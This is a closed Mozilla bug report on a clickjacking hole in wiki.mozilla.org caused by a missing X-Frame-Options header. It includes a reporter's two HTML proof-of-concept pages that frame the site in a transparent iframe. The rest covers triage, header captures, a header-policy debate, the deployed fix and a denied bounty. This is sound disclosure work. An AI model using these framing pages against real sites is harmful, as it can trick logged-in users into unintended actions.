Closed Bug 1056791 Opened 11 years ago Closed 10 years ago

Missing X-Frame-Options header : possible clickjacking

Categories

(Websites :: wiki.mozilla.org, defect)

Product:
Websites
Component:
wiki.mozilla.org
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

(Not tracked)

Status:
RESOLVED FIXED
Milestone:
2014-Q3

People

(Reporter: curtisk, Assigned: ckoehler)

References

(
URL
)

Details

(Keywords: reporter-external, wsec-other, Whiteboard: [site:wiki.mozilla.org][reporter-external] [stage=2014-09-25] [prod=2014-09-25])

Subject: clickjacking vulnerability From: mohammed al-saggaf <mohammed.sec2010@gmail.com> To: security@mozilla.org -----//----- i found in https://wiki.mozilla.org bugs called clickjacking vulnerability poc: <html> <head> <title>Clickjack Test Page</title> <style> #overlay { padding: 20px; border: 4px solid black; width: 200px; position: absolute; background-color: red; font: bold 12pt verdana; color: white; left: 440px; top: 300px; display: none; } </style> <script> function moveoverlay() { var overlay=document.getElementById("overlay"); x=(window.innerWidth - 200)/2; y=(window.innerHeight - overlay.style.height)/2; overlay.style.left = x + "px"; overlay.style.top = y + "px"; overlay.style.display="block"; } function changeframe() { var url=document.urlform.inputurl.value; var displayurl=document.getElementById("displayurl"); var results=document.getElementById("results"); displayurl.textContent="You’ve been clickjacked! The frame URL is: " + url; displayurl.style.display="block"; // Create a new frame - delete the old one first var destframe=document.getElementById("destframe"); if (destframe) { results.removeChild(destframe); } var newframe=document.createElement("iframe"); newframe.setAttribute("src",url); newframe.setAttribute("id","destframe"); newframe.style.width="100%"; newframe.style.height="90%"; newframe.setAttribute("sandbox","allow-scripts allow-forms"); results.appendChild(newframe); document.body.setAttribute("onResize","moveoverlay()"); moveoverlay(); } function toggleformbar() { var formbarhidden=(document.getElementById("closer").textContent=="^")?0:1; if (formbarhidden==0) { document.getElementById("theform").style.display="none"; document.getElementById("closer").textContent="v"; } else { document.getElementById("theform").style.display="block"; document.getElementById("closer").textContent="^"; } } </script> </head> <body> <div id="formbar" style=""> <div id="theform" style="background: #f0f0f0; padding: 0.5em; height: 1.5em; float: left; display: inline"> <form name="urlform" onSubmit="changeframe(); return false"> <label>URL:</label> <input type="input" name="inputurl" /> <input type="submit" value="Load" /> </form> </div> <div id="closer" style="float: right; display: inline; cursor: pointer" onClick="toggleformbar()">^</div> </div> <br style="clear: both" /> <div id="results"> <div id="displayurl" style="display:none"><p>Bit of text for screenshot</p></div><br /> <div id="overlay">This is sample content rendered from the parent frame</div> </div> </body> </html>
Flags: sec-bounty?
Whiteboard: [site:wiki.mozilla.org][reporter-external]
Assignee: nobody → nmaul
I am unqualified to fix this without instructions, so I'm unassigning myself. Also, please don't assign bugs to people like this... better to CC or NEEDINFO people, to find someone that can work on it. In this particular case, IT does not monitor the Websites product in Bugzilla. If IT work is needed, it should be moved to the appropriate product/component (Infrastructure & Operations :: WebOps: *). That will get it seen by the whole team, and should even get it into our Kanban board for prioritization.
Assignee: nmaul → nobody
Sorry about that, we're trying to find the best resource to own this during weekly triage and you came up as a possible resource for this domain. Given that the fix here is an appache or nginx[1] change the collective group thought you might be the correct resource. Any chance you can help us fullfill the goal of finding the right resource or home for this security bug? [1] https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options?redirectlocale=en-US&redirectslug=The_X-FRAME-OPTIONS_response_header
Flags: needinfo?(nmaul)
hey quys and sorry for replaying lately...I made the top frame change to being partially transparent with Javascript when the mouse pointer is over the frames so you can see what site is actually on the top frame. When the malicious site tries to trick people all that is ever seen is the bottom frame. They try to get the victim to click on stuff on the bottom frame while actually the victim is affecting the site in the top frame (which they do not see). exploit: <html></html> <div style="z-index:2; position:absolute;top:0; left:0;width: 80%; height:80%"> <iframe src="https://wiki.mozilla.org/" id="frame1" style="opacity:0.4;filter:alpha(opacity=40); " width="100%" height="100%" onmouseover="this.style.opacity=.5;this.filters.alpha.opacity=50" onmouseout="this.style.opacity=0;this.filters.alpha.opacity=0"/></iframe></div> <div align="right" style="position:absolute; top:0; left:0; z-index:1; width: 80%;height:80%; background-color: yellow;text-align:left;"> <strong>Clickjaking POC by Mohammed. I made the top frame change to being partially transparent with Javascript when the mouse pointer is over the frames so you can see what site is actually on the top frame. When the malicious site tries to trick people all that is ever seen is the bottom frame. They try to get the victim to click on stuff on the bottom frame while actually the victim is affecting the site in the top frame (which they do not see). </p> </strong><br/></div>
Christie - any chance you can help us get this to the correct hands?
Flags: needinfo?(ckoehler)
Yes, I'll add this to the Wiki Team's triage. We're going to be pushing out an upgrade this week that might fix some of these. Is it possible to get some more detailed steps to reproduce? I'm not quite understanding that the issue is here.
Flags: needinfo?(nmaul)
Flags: needinfo?(curtisk)
Flags: needinfo?(ckoehler)
So the issue is that the webserver for wiki.m.o is not sending out an x-frame-options header. I tested this using a simple web-proxy (OWASP Zap) and observing the responses to the Get request. For example here is the response for wiki.m.o HTTP/1.1 200 OK Server: Apache X-Backend-Server: generic3.webapp.phx1.mozilla.com Vary: Accept-Encoding,Cookie Cache-Control: s-maxage=18000, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Date: Wed, 03 Sep 2014 19:43:42 GMT Keep-Alive: timeout=5, max=994 Content-language: en X-Content-Type-Options: nosniff Connection: Keep-Alive Last-Modified: Tue, 02 Sep 2014 18:08:24 GMT X-Cache-Info: not cacheable; response specified max-age <= 0 And here is the response for A.M.O which has XFO by comparison HTTP/1.1 200 OK Server: nginx Date: Wed, 03 Sep 2014 19:52:35 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: X-Mobile, User-Agent X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000 X-Backend-Server: web2 A good link for more info about his on MDN is in comment 3
Flags: needinfo?(curtisk)
Thanks, Curtis. It looks like x-frame-options header is deprecated. Should we use frame-ancestors instead? Or in addition to? https://developer.mozilla.org/en-US/docs/Web/Security/CSP/CSP_policy_directives#frame-ancestors https://w3c.github.io/webappsec/specs/content-security-policy/#directive-frame-ancestors
At the moment I would say in addition to. x-frame-options is still honored by a large number of browsers and from what I see of the bugs in FX to implement frame-ancestors I'm not sure it's fully ready for prime time
HEY QUYS .. you must use frame-ancestors and I see it is good for FX but It looks like x-frame-options header is deprecated , I see it when I test wiki.m.c
hey Curtis I am testing https://wiki.mozilla.org/ by using burpsuite request : GET /Main_Page HTTP/1.1 User-Agent: Opera/9.80 (Windows NT 6.2; WOW64) Presto/2.12.388 Version/12.17 Host: wiki.mozilla.org Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 Accept-Language: ar-YE,ar;q=0.9,en;q=0.8 Accept-Encoding: gzip, deflate Connection: Keep-Alive response: HTTP/1.1 200 OK Server: Apache X-Backend-Server: generic5.webapp.phx1.mozilla.com Vary: Accept-Encoding,Cookie Cache-Control: s-maxage=18000, must-revalidate, max-age=0 Content-Type: text/html; charset=UTF-8 Date: Wed, 03 Sep 2014 21:51:52 GMT Keep-Alive: timeout=5, max=942 Content-language: en X-Content-Type-Options: nosniff Connection: Keep-Alive Last-Modified: Tue, 02 Sep 2014 18:08:24 GMT X-Cache-Info: not cacheable; response specified max-age <= 0 Content-Length: 21696 it looks like x-frame-options header is deprecated this is the screenshot : http://im68.gulfup.com/IuEtdl.png
any updates ?
Assignee: nobody → ckoehler
I've added an X-Frame-Options header to the development environment for the wiki and pushed out the change. If nothing is amiss, I can push out that change to production next week. Coming up with an appropriate Content Security Policy header may take more coordination. I'll branch off a separate bug for that.
there is no change bro cliang here is the screenshot for proof : http://im63.gulfup.com/Mk3XsE.png
(In reply to Mohammed Al-saggaf from comment #14) > there is no change bro cliang > here is the screenshot for proof : > http://im63.gulfup.com/Mk3XsE.png The change has only been made on the development server, so we can test. That url is wiki-dev.allizom.org
hey bro Christie Koehler ... congrats bro I test this url : wiki-dev.allizom.org and and I see X-Frame-Options: SAMEORIGIN every thing is okay ..here is the screenshot for proof the fixed bug: http://im54.gulfup.com/S09J1b.png so down this site: https://wiki.mozilla.org/Main_Page and change it to https://wiki-dev.allizom.org/Main_Page any reward for report this bug?
(In reply to Mohammed Al-saggaf from comment #16) > > any reward for report this bug? > Bugs aren't evaluated for bounty eligibility until they are closed. As well, this site is not officially in our list of eligible sites. If the bug is extraordinary we sometimes offer bounties for interesting bugs which are outside of normal policy. We do appreciate learning about bugs in all of our sites. We publish a list of eligible sites for people who are only interested in bounties and we hope that can help reduce the frustration of wasting time in unfruitful areas. http://www.mozilla.org/security/bug-bounty-faq-webapp.html#eligible-bugs If chosen for a bounty you will be contacted for further information.
thanks bro Curtis Koenig .. if you any help to test this site again... comment here... I am very happy to help you quys... I wish to be chosen for a bounty
The X-Frames change has been pushed out to the stage and production environments.
Status: NEW → RESOLVED
Closed: 10 years ago
Resolution: --- → FIXED
I can confirm that this bug is fixed... nice team Have a great Day Guys
(In reply to Christie Koehler [:ckoehler] from comment #8) > It looks like x-frame-options header is deprecated. Should we use > frame-ancestors instead? Or in addition to? > > https://developer.mozilla.org/en-US/docs/Web/Security/CSP/ > CSP_policy_directives#frame-ancestors I keep trying to fix that but zealous mdn editors keep adding site macros to the XFO article. It's not "obsolete" or "deprecated" in any practical sense. It was never standard but was widely implemented by browsers. The IETF published a non-normative description of what browser behavior actually (mostly) was. frame-ancestors has been proposed for standardisation in CSP Level 2, but meanwhile CSP 1 has not formally been published as a final spec. There /are/ implementations of frame-ancestors in some browsers (e.g. Firefox) but not enough yet to successfully displace use of XFO in the current web. Use XFO. If your site uses CSP for other reasons anyway then give frame-ancestors a go, but keep XFO for browsers which don't support CSP.
not eligible for a bounty due to rating.
Group: websites-security
Keywords: wsec-other
What on wiki.mozilla.org is at risk of clickjacking?
(In reply to Daniel Veditz [:dveditz] from comment #23) > What on wiki.mozilla.org is at risk of clickjacking? given you have to login to edit, your credentials could be clickjacked. Otherwise I would have rated this lower.
I hope Guys to get a bounty.... I am waiting you
only hope give me T-shirt of firefox....
Flags: sec-bounty? → sec-bounty-
Whiteboard: [site:wiki.mozilla.org][reporter-external] → [site:wiki.mozilla.org][reporter-external] [stage=2014-09-26] [prod=2014-09-26]
Target Milestone: --- → 2014-Q3
Whiteboard: [site:wiki.mozilla.org][reporter-external] [stage=2014-09-26] [prod=2014-09-26] → [site:wiki.mozilla.org][reporter-external] [stage=2014-09-25] [prod=2014-09-25]
You need to log in before you can comment on or make changes to this bug.